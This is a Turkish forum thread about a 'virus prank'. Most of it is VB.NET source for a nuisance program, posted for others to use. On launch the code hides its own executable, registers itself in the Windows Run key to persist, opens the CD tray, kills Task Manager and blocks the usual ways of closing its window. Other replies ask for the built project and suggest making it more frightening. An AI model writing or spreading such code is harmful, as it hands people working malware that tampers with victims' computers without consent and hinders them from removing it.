Vb.Net Virus Şakası

LastBower' Alıntı:

Hocam projenin hazır halini atarmısın

Genişletmek için tıkla ...

Alzhe01' Alıntı:

Bilmeyenler için kodu nasıl kullanacaklarını açıklar mısınız acaba?

Genişletmek için tıkla ...

iHaSaHi' Alıntı:

Bu daha iyi gibi sanki he :trl

Kod:

Imports System.Net
Imports System.Net.NetworkInformation
Public Class Form1

    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As _
            String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As _
            Integer) As Integer

    Dim myNetworkAdapters() As NetworkInterface = NetworkInterface.GetAllNetworkInterfaces
    Dim myAdapterProps As IPInterfaceProperties = Nothing
    Dim myGateways As GatewayIPAddressInformationCollection = Nothing
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        SetAttr(Application.ExecutablePath, vbHidden)

        AddStartup(Me.Text, Application.ExecutablePath)
        mciSendString("set cdaudio door open", 0, 0, 0)

        For Each selProcess As Process In Process.GetProcesses
            If selProcess.ProcessName = "taskmgr" Then
                selProcess.Kill()
                Exit For
            End If
        Next

    End Sub

    Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)

        Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
        Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)

    End Sub

    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim cp As CreateParams = MyBase.CreateParams
            Const CS_NOCLOSE As Integer = &H200
            cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
            CS_NOCLOSE.ToString.Trim()
            Return cp
        End Get
    End Property

    Private Sub Form1_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
        If e.KeyData = Keys.Alt + Keys.F4 Then
            MsgBox("Sen niye bu kadar akıllısın,anlatsana ?", MsgBoxStyle.Critical, "iHaSaHi")
            e.Handled = True
        End If
    End Sub
End Class

Genişletmek için tıkla ...

AhmetKnKc' Alıntı:

Çok basit olmuş. Daha iyi birşey beklerdim. Bunu gerçekten virüs sanan ancak bilgisayar dünyasına yeni adım atmış olan kişiler diye düşünüyorum. Sonuçta sadece msgbox var. Masa üstüne birkaç not defteri oluştursa vs şeyler olsa daha gerçekci ve korkutucu olurdu. Basit.

Genişletmek için tıkla ...